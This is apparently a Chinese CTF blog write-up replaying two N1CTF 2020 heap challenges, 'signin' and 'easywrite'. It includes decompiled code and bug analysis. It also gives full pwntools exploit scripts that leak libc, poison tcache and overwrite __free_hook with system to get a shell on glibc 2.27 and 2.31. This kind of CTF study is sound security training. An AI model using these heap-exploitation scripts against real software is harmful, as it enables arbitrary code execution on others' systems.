N1CTF 2020 部分pwn复现

N1CTF当时没有去打(老懒狗了),是赛后进行的复现,借鉴了官方的wp,在本地对两道glibc环境下的pwn题进行了复现

signin

本地是在2.27的环境下进行的复现

在这之前,先介绍一下vector

Vector

vector 是C++ stl的一个容器,实现的功能是动态数组。

值得关注的是vector的内存分配规则

但vector的内存容量不够时,会申请一块新的内存(大小是原内存的2倍),然后把数据复制过去,再free掉原来的内存

  • vector的内存只会增加,不会减少
  • clear()会清空元素,但是不会释放内存,vector占用的内存只会在程序结束后被释放

程序实现了vector的功能

有两个vector可供使用

vector_1和vector_2都是管理vector的结构体(struct_vector)

vector: begin_ptr vector+8:end_ptr vector+16:memory_end

add:end_ptr+8 and read_number

__int64 __fastcall new_0(__int64 a1, __int64 a2)
{
 __int64 result; // rax
 __int64 v3; // rax

 if ( *(a1 + 8) == *(a1 + 16) )                // memory is full
{
   v3 = get_end_ptr(a1);                       // v3 = *(a1 + 8)
   result = realloc_vector(a1, v3, a2);        //
}
 else                                          // memory is enough
{
   vector_push(a1, *(a1 + 8), a2);             // *(a1+8) = a2
   result = a1;
   *(a1 + 8) += 8LL;                           // end ptr += 8
}
 return result;
}

delete:end_ptr-=8

unsigned __int64 delete()
{
 int v1; // [rsp+4h] [rbp-Ch]
 unsigned __int64 v2; // [rsp+8h] [rbp-8h]

 v2 = __readfsqword(0x28u);
 std::operator<<<std::char_traits<char>>(&std::cout, "Index:");
 std::istream::operator>>(&std::cin, &v1);
 if ( v1 == 1 )
   delete_0(&vector_1);
 if ( v1 == 2 )
   delete_0(&vector_2);
 return __readfsqword(0x28u) ^ v2;
}

show:

打印end_ptr-8 地址上的内容

unsigned __int64 show()
{
 _QWORD *v0; // rax
 __int64 v1; // rax
 _QWORD *v2; // rax
 __int64 v3; // rax
 int v5; // [rsp+4h] [rbp-Ch]
 unsigned __int64 v6; // [rsp+8h] [rbp-8h]

 v6 = __readfsqword(0x28u);
 std::operator<<<std::char_traits<char>>(&std::cout, "Index:");
 std::istream::operator>>(&std::cin, &v5);
 if ( v5 == 1 )
{
   v0 = show_0(&vector_1);               // return *end_ptr-8
   v1 = std::ostream::operator<<(&std::cout, *v0);
   std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
 if ( v5 == 2 )
{
   v2 = show_0(&vector_2);
   v3 = std::ostream::operator<<(&std::cout, *v2);
   std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
}
 return __readfsqword(0x28u) ^ v6;
}

漏洞点

delete的时候,没有对end_ptr进行检查

在进行delete的时候,end_ptr-=8,我们可以通过delete去控制end_ptr的内容

利用思路

根据vector的扩容规则,在扩容时会申请一个大小为原来2倍的内存,并把原来的内存free掉。

这样一来,即使我们没有free这个选项,可以通过不停的add去得到一个unsorted bin

(libc-2.27的环境下有tcache机制,可能需要add的次数会多一些)

然后控制end_ptr指向unsorted bin的FD/BK,再用show去leak libc

此时继续free,控制end_ptr指向tcatche的fd,劫持tctache的FD,实现任意地址写,直接打free_hook(one_gadget要用realloc抬栈)

Expliot

from pwn import *
p = process('./signin')
#context.log_level = "debug"
elf = ELF('./signin')
libc = elf.libc
def menu(idx):
   p.sendlineafter(">>",str(idx))
def add(idx,num):
   menu(1)
   p.sendlineafter("Index:",str(idx))
   p.sendlineafter("Number:",str(num))
def free(idx):
   menu(2)
   p.sendlineafter("Index:",str(idx))
def show(idx):
   menu(3)
   p.sendlineafter("Index:",str(idx))

for i in range(260):
   add(1,1)
for i in range(516):
   free(1)
show(1)
gdb.attach(p)
libc_base = int(p.recvuntil('\n')[:-1])-96-0x10-libc.sym['__malloc_hook']
log.success('libc_base:'+hex(libc_base))
free_hook = libc.sym['__free_hook']+libc_base
malloc_hook = libc_base + libc.sym['__malloc_hook']
system = libc_base+libc.sym['system']
one_gadget = libc_base + 0x10a45c
for i in range(270):
   free(1)
add(1,free_hook-8)
#gdb.attach(p)
add(2,u64('/bin/sh\x00'))
add(2,system)
#gdb.attach(p)
p.interactive()

easywrite

调试环境 ==> libc-2.31.so

这个题目将符号表删除了,需要用gdb进行恢复(第一次恢复符号表)

在IDA中查看.got

.got:0000000000003F80 qword_3F80      dq 0                    ; DATA XREF: sub_1020↑r
.got:0000000000003F88 qword_3F88     dq 0                   ; DATA XREF: sub_1020+6↑r
.got:0000000000003F90 off_3F90       dq offset sub_1030     ; DATA XREF: sub_10D0+4↑r
.got:0000000000003F98 off_3F98       dq offset sub_1040     ; DATA XREF: sub_10E0+4↑r
.got:0000000000003FA0 off_3FA0       dq offset sub_1050     ; DATA XREF: sub_10F0+4↑r
.got:0000000000003FA8 off_3FA8       dq offset sub_1060     ; DATA XREF: sub_1100+4↑r
.got:0000000000003FB0 off_3FB0       dq offset sub_1070     ; DATA XREF: sub_1110+4↑r
.got:0000000000003FB8 off_3FB8       dq offset sub_1080     ; DATA XREF: sub_1120+4↑r
.got:0000000000003FC0 off_3FC0       dq offset sub_1090     ; DATA XREF: sub_1130+4↑r
.got:0000000000003FC8 off_3FC8       dq offset sub_10A0     ; DATA XREF: sub_1140+4↑r

在gdb中查看got表,里面储存了函数的真实地址,一个个去看是什么函数就行了

got表

恢复符号表之后查看IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
 __int64 v3; // rbp
 __int64 v4; // rdx
 __int64 v5; // rdx
 _QWORD *address; // [rsp-28h] [rbp-28h]
 void *message; // [rsp-20h] [rbp-20h]
 void *message2; // [rsp-18h] [rbp-18h]
 unsigned __int64 v10; // [rsp-10h] [rbp-10h]
 __int64 v11; // [rsp-8h] [rbp-8h]

 __asm { endbr64 }
 v11 = v3;
 v10 = __readfsqword(0x28u);
 setbuf_0(stdout, 0LL, envp);
 setbuf_0(stdin, 0LL, v4);
 setbuf_0(stderr, 0LL, v5);
 alarm_2(0x3Cu);
 sleep_2(2u);
 printf_0("Here is your gift:%p\n", &setbuf);  // leak libc
 message = malloc_2(768uLL);
 write_0(1, "Input your message:", 19uLL);
 read_0(0, message, 767uLL);
 write_0(1, "Where to write?:", 16uLL);
 read_0(0, &address, 8uLL);
 *address = message;
 message2 = malloc_2(0x30uLL);
 write_0(1, "Any last message?:", 18uLL);
 read_0(0, message2, 47uLL);                   // read 47 bytes
 free_1(message2);
 return 0;
}

程序的逻辑大概是能自由编辑一个0x300的堆块

然后把这个堆块的地址写到任意地址上

然后就是申请一个0x30的堆块,然后free掉

利用思路

一开始泄露了libc_base

这个堆块的大小与tcache的大小相似,可以考虑伪造tcache(学到了新姿势)

于是在message这个chunk上布置我们的信息

在counts数组上将调用数记为1,在tcache bins 的链表上布置任意写的地址

于是我们的message可以这样构造

message =  '\x00'*4+'\x01'
message = message.ljust(144,'\x00')
message += p64(libc_base + free_hook-0x10)

最后就是找到一个储存tcache地址的指针,将其覆盖为我们的fake_tcache

gef➤  grep 0x5583411ea010# 0x5583411ea010 为tcache结构体的地址
[+] Searching '\x10\xa0\x1e\x41\x83\x55' in memory
[+] In (0x7f7088877000-0x7f708887d000), permission=rw- #可读可写
0x7f708887c530 - 0x7f708887c548 →   "\x10\xa0\x1e\x41\x83\x55[...]"

确定地址在0x7f708887c530处,减去libc_base得到偏移 在本机的环境上偏移为0x1f3530

然后message2打free_hook,getshell

Expliot

from pwn import *
elf = ELF('./easywrite')
libc =elf.libc
p = process('./easywrite')
p.recvuntil("Here is your gift:")
libc_base = int(p.recvuntil('\n')[:-1], 16) - libc.sym["setbuf"]
log.info('libc:'+hex(libc_base))
ptr = libc_base + 0x1f3530
message = '\x00'*4+'\x01'
message = message.ljust(0x12*8,'\x00')
message += p64(libc_base + libc.sym["__free_hook"] - 0x8)
p.recvuntil('Input your message:')
p.sendline(message)
p.recvuntil('Where to write?:')
p.send(p64(ptr))
p.recvuntil('message?')
p.sendline('/bin/sh\x00'+p64(libc_base + libc.sym['system']))
p.interactive()

发表评论

电子邮件地址不会被公开。 必填项已用*标注